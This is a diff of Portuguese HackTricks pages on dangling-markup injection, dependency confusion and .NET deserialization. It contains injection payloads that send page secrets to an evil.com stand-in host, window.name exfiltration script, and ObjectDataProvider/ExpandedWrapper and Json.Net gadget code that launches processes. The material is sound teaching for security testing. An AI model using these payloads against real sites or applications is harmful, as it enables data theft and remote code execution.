Se você injetar `<img src='http://evil.com/log.cgi?` quando a página é carregada, a vítima enviará todo o código entre a tag `img` injetada e a próxima aspas dentro do código. Se um segredo estiver de alguma forma localizado nesse trecho, você o roubará (você pode fazer a mesma coisa usando aspas duplas, veja qual poderia ser mais interessante de usar).
|
||||||
|
|
||||||
Se a tag `img` for proibida (devido a CSP, por exemplo), você também pode usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
Se a tag `img` for proibida (devido a CSP, por exemplo), você também pode usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||||
```html
|
```html
|
||||||
|
@ -97,7 +97,7 @@ value='fredmbogo'> ← Injected lines
|
||||||
```
|
```
|
||||||
### Roubo de segredos em texto claro via noscript
|
### Roubo de segredos em texto claro via noscript
|
||||||
|
|
||||||
`<noscript></noscript>` é uma tag cujo conteúdo será interpretado se o navegador não suportar JavaScript (você pode ativar/desativar o JavaScript no Chrome em [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
`<noscript></noscript>` é uma tag cujo conteúdo será interpretado se o navegador não suportar javascript (você pode ativar/desativar o Javascript no Chrome em [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||||||
|
|
||||||
Uma maneira de exfiltrar o conteúdo da página da web a partir do ponto de injeção até o final para um site controlado pelo atacante será injetar isso:
|
Uma maneira de exfiltrar o conteúdo da página da web a partir do ponto de injeção até o final para um site controlado pelo atacante será injetar isso:
|
||||||
```html
|
```html
|
||||||
|
@ -111,7 +111,7 @@ A partir dessa [pesquisa da portswiggers](https://portswigger.net/research/evadi
|
||||||
<base target='
|
<base target='
|
||||||
```
|
```
|
||||||
Note que você vai pedir à **vítima** para **clicar em um link** que irá **redirecioná-la** para um **payload** controlado por você. Também observe que o atributo **`target`** dentro da tag **`base`** conterá **conteúdo HTML** até a próxima aspa simples.\
|
Note que você vai pedir à **vítima** para **clicar em um link** que irá **redirecioná-la** para um **payload** controlado por você. Também observe que o atributo **`target`** dentro da tag **`base`** conterá **conteúdo HTML** até a próxima aspa simples.\
|
||||||
Isso fará com que o **valor** de **`window.name`** se o link for clicado seja todo esse **conteúdo HTML**. Portanto, como você **controla a página** onde a vítima está acessando ao clicar no link, você pode acessar esse **`window.name`** e **extrair** esses dados:
|
Isso fará com que o **valor** de **`window.name`** se o link for clicado seja todo esse **conteúdo HTML**. Portanto, como você **controla a página** para onde a vítima está acessando ao clicar no link, você pode acessar esse **`window.name`** e **exfiltrar** esses dados:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
if(window.name) {
|
if(window.name) {
|
||||||
|
@ -135,7 +135,7 @@ request.share_with = document.getElementById('share_with').value;
|
||||||
...
|
...
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Fluxo de trabalho de script enganoso 2 - Ataque de namespace de script
|
### Fluxo de script enganoso 2 - Ataque de namespace de script
|
||||||
|
|
||||||
Crie variáveis dentro do namespace javascript inserindo tags HTML. Em seguida, essa variável afetará o fluxo da aplicação:
|
Crie variáveis dentro do namespace javascript inserindo tags HTML. Em seguida, essa variável afetará o fluxo da aplicação:
|
||||||
```html
|
```html
|
||||||
|
@ -161,7 +161,7 @@ if (is_public) request.access_mode = AM_PUBLIC; ← Condition always e
|
||||||
```
|
```
|
||||||
### Abuso de JSONP
|
### Abuso de JSONP
|
||||||
|
|
||||||
Se você encontrar uma interface JSONP, poderá chamar uma função arbitrária com dados arbitrários:
|
Se você encontrar uma interface JSONP, você pode ser capaz de chamar uma função arbitrária com dados arbitrários:
|
||||||
```html
|
```html
|
||||||
<script src='/editor/sharing.js'>: ← Legitimate script
|
<script src='/editor/sharing.js'>: ← Legitimate script
|
||||||
function set_sharing(public) {
|
function set_sharing(public) {
|
||||||
|
@ -213,11 +213,11 @@ No momento desta escrita, você precisa habilitar a tag portal no Chrome em `chr
|
||||||
```
|
```
|
||||||
### Vazamentos de HTML
|
### Vazamentos de HTML
|
||||||
|
|
||||||
Nem todas as maneiras de vazar conectividade em HTML serão úteis para o Dangling Markup, mas às vezes poderia ajudar. Verifique-as aqui: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
Nem todas as formas de vazamento de conectividade em HTML serão úteis para o Dangling Markup, mas às vezes poderia ajudar. Verifique-os aqui: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||||
|
|
||||||
## Vazamentos SS
|
## Vazamentos SS
|
||||||
|
|
||||||
Este é um **mix** entre **dangling markup e XS-Leaks**. De um lado, a vulnerabilidade permite **injetar HTML** (mas não JS) em uma página da **mesma origem** da que estaremos atacando. Por outro lado, não iremos **atacar** diretamente a página onde podemos injetar HTML, mas sim **outra página**.
|
Isso é uma **mistura** entre **dangling markup e XS-Leaks**. De um lado, a vulnerabilidade permite **injetar HTML** (mas não JS) em uma página da **mesma origem** da que estaremos atacando. Por outro lado, não iremos **atacar** diretamente a página onde podemos injetar HTML, mas sim **outra página**.
|
||||||
|
|
||||||
{% content-ref url="ss-leaks.md" %}
|
{% content-ref url="ss-leaks.md" %}
|
||||||
[ss-leaks.md](ss-leaks.md)
|
[ss-leaks.md](ss-leaks.md)
|
||||||
|
@ -251,7 +251,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -25,7 +25,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,9 +2,9 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
@ -14,9 +14,9 @@
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
Em resumo, uma vulnerabilidade de confusão de dependência ocorre quando um projeto está usando uma biblioteca com um nome **mal escrito**, **inexistente** ou com uma **versão não especificada** e o repositório de dependências usadas permite **reunir versões atualizadas de repositórios públicos**.
|
Em resumo, uma vulnerabilidade de confusão de dependência ocorre quando um projeto está usando uma biblioteca com um nome **com erro de digitação**, **inexistente** ou com uma **versão não especificada** e o repositório de dependências usadas permite **reunir versões atualizadas de repositórios públicos**.
|
||||||
|
|
||||||
* **Mal escrito**: Importe **`reqests`** em vez de `requests`
|
* **Com erro de digitação**: Importe **`reqests`** em vez de `requests`
|
||||||
* **Inexistente**: Importe `company-logging`, uma biblioteca interna que **não existe mais**
|
* **Inexistente**: Importe `company-logging`, uma biblioteca interna que **não existe mais**
|
||||||
* **Versão não especificada**: Importe uma biblioteca **interna** **existente** `company-requests`, mas o repositório verifica **repositórios públicos** para ver se existem **versões superiores**.
|
* **Versão não especificada**: Importe uma biblioteca **interna** **existente** `company-requests`, mas o repositório verifica **repositórios públicos** para ver se existem **versões superiores**.
|
||||||
|
|
||||||
|
@ -26,7 +26,7 @@ Em resumo, uma vulnerabilidade de confusão de dependência ocorre quando um pro
|
||||||
Em todos os casos, o atacante só precisa publicar um **pacote malicioso com o nome** das bibliotecas usadas pela empresa vítima.
|
Em todos os casos, o atacante só precisa publicar um **pacote malicioso com o nome** das bibliotecas usadas pela empresa vítima.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Mal Escrito & Inexistente
|
### Com Erro de Digitação & Inexistente
|
||||||
|
|
||||||
Se sua empresa está tentando **importar uma biblioteca que não é interna**, é altamente provável que o repositório de bibliotecas esteja procurando por ela em **repositórios públicos**. Se um atacante a criou, seu código e máquinas em execução provavelmente serão comprometidos.
|
Se sua empresa está tentando **importar uma biblioteca que não é interna**, é altamente provável que o repositório de bibliotecas esteja procurando por ela em **repositórios públicos**. Se um atacante a criou, seu código e máquinas em execução provavelmente serão comprometidos.
|
||||||
|
|
||||||
|
@ -37,14 +37,14 @@ Se a biblioteca for uma **biblioteca externa conhecida** (como `requests` em Pyt
|
||||||
No entanto, se a biblioteca for **interna**, como `requests-company` neste exemplo, se o **repositório da biblioteca** permitir **verificar novas versões também externamente**, ele procurará por uma versão mais recente disponível publicamente.\
|
No entanto, se a biblioteca for **interna**, como `requests-company` neste exemplo, se o **repositório da biblioteca** permitir **verificar novas versões também externamente**, ele procurará por uma versão mais recente disponível publicamente.\
|
||||||
Portanto, se um **atacante souber** que a empresa está usando a biblioteca `requests-company` **versão 1.0.1** (permite atualizações menores), ele pode **publicar** a biblioteca `requests-company` **versão 1.0.2** e a empresa **usará essa biblioteca em vez da interna**.
|
Portanto, se um **atacante souber** que a empresa está usando a biblioteca `requests-company` **versão 1.0.1** (permite atualizações menores), ele pode **publicar** a biblioteca `requests-company` **versão 1.0.2** e a empresa **usará essa biblioteca em vez da interna**.
|
||||||
|
|
||||||
## Correção da AWS
|
## Correção na AWS
|
||||||
|
|
||||||
Essa vulnerabilidade foi encontrada no AWS **CodeArtifact** (leia os [**detalhes neste post do blog**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
|
Essa vulnerabilidade foi encontrada no AWS **CodeArtifact** (leia os [**detalhes neste post do blog**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
|
||||||
A AWS corrigiu isso permitindo especificar se uma biblioteca é interna ou externa, para evitar o download de dependências internas de repositórios externos.
|
A AWS corrigiu isso permitindo especificar se uma biblioteca é interna ou externa, para evitar o download de dependências internas de repositórios externos.
|
||||||
|
|
||||||
## Encontrando Bibliotecas Vulneráveis
|
## Encontrando Bibliotecas Vulneráveis
|
||||||
|
|
||||||
No [**post original sobre confusão de dependência**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610), o autor procurou milhares de arquivos package.json expostos contendo as dependências de projetos JavaScript.
|
No [**post original sobre confusão de dependência**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) o autor procurou milhares de arquivos package.json expostos contendo as dependências de projetos JavaScript.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
|
@ -53,9 +53,9 @@ No [**post original sobre confusão de dependência**](https://medium.com/@alex.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
@ -24,11 +24,11 @@ Portanto, o **objeto** arbitrário **executará** uma **função** com **parâme
|
||||||
|
|
||||||
O namespace **System.Windows.Data**, encontrado dentro do **PresentationFramework.dll** em `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, é onde o ObjectDataProvider é definido e implementado.
|
O namespace **System.Windows.Data**, encontrado dentro do **PresentationFramework.dll** em `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, é onde o ObjectDataProvider é definido e implementado.
|
||||||
|
|
||||||
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) você pode **inspecionar o código** da classe que estamos interessados. Na imagem abaixo estamos vendo o código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nome do método**
|
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) você pode **inspecionar o código** da classe que estamos interessados. Na imagem abaixo estamos vendo o código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nome do Método**
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (299).png>)
|
![](<../../.gitbook/assets/image (299).png>)
|
||||||
|
|
||||||
Como você pode observar, quando `MethodName` é definido, `base.Refresh()` é chamado, vamos dar uma olhada no que ele faz:
|
Como você pode observar, quando `MethodName` é definido, `base.Refresh()` é chamado, vamos ver o que isso faz:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (300).png>)
|
![](<../../.gitbook/assets/image (300).png>)
|
||||||
|
|
||||||
|
@ -62,14 +62,14 @@ myODP.MethodName = "Start";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Note que você precisa adicionar como referência _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para carregar `System.Windows.Data`
|
Note que é necessário adicionar como referência _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para carregar `System.Windows.Data`
|
||||||
|
|
||||||
## ExpandedWrapper
|
## ExpandedWrapper
|
||||||
|
|
||||||
Usando o exploit anterior, haverá casos em que o **objeto** será **desserializado como** uma instância _**ObjectDataProvider**_ (por exemplo, na vulnerabilidade do DotNetNuke, usando XmlSerializer, o objeto foi desserializado usando `GetType`). Então, não teremos **conhecimento do tipo de objeto que está encapsulado** na instância _ObjectDataProvider_ (`Process`, por exemplo). Você pode encontrar mais [informações sobre a vulnerabilidade do DotNetNuke aqui](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
|
Usando o exploit anterior, haverá casos em que o **objeto** será **desserializado como** uma instância _**ObjectDataProvider**_ (por exemplo, na vulnerabilidade do DotNetNuke, usando XmlSerializer, o objeto foi desserializado usando `GetType`). Então, não teremos **conhecimento do tipo de objeto que está encapsulado** na instância _ObjectDataProvider_ (`Process`, por exemplo). Você pode encontrar mais [informações sobre a vulnerabilidade do DotNetNuke aqui](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
|
||||||
|
|
||||||
Esta classe permite **especificar os tipos de objetos que estão encapsulados** em uma determinada instância. Portanto, esta classe pode ser usada para encapsular um objeto de origem (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades de que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
|
Esta classe permite **especificar os tipos de objetos que estão encapsulados** em uma determinada instância. Portanto, esta classe pode ser usada para encapsular um objeto de origem (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades de que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
|
||||||
Isso é muito útil para casos como o apresentado anteriormente, porque seremos capazes de **envolver \_ObjectDataProvider**_\*\* dentro de uma instância \*\*_**ExpandedWrapper** e **quando desserializado** esta classe irá **criar** o objeto _**OjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_.
|
Isso é muito útil para casos como o apresentado anteriormente, porque seremos capazes de **envolver \_ObjectDataProvider**_\*\* dentro de uma instância \*\*_**ExpandedWrapper** e **ao ser desserializado** esta classe irá **criar** o objeto _**OjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_.
|
||||||
|
|
||||||
Você pode verificar este wrapper com o seguinte código:
|
Você pode verificar este wrapper com o seguinte código:
|
||||||
```java
|
```java
|
||||||
|
@ -95,7 +95,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||||
```
|
```
|
||||||
## Json.Net
|
## Json.Net
|
||||||
|
|
||||||
Na [página oficial](https://www.newtonsoft.com/json) é indicado que esta biblioteca permite **Serializar e desserializar qualquer objeto .NET com o poderoso serializador JSON do Json.NET**. Portanto, se pudermos **desserializar o gadget ObjectDataProvider**, poderíamos causar uma **RCE** apenas desserializando um objeto.
|
Na [página web oficial](https://www.newtonsoft.com/json) é indicado que esta biblioteca permite **Serializar e desserializar qualquer objeto .NET com o poderoso serializador JSON do Json.NET**. Portanto, se pudermos **desserializar o gadget ObjectDataProvider**, poderíamos causar uma **RCE** apenas desserializando um objeto.
|
||||||
|
|
||||||
### Exemplo Json.Net
|
### Exemplo Json.Net
|
||||||
|
|
||||||
|
@ -196,9 +196,9 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
|
|
@ -4,10 +4,10 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
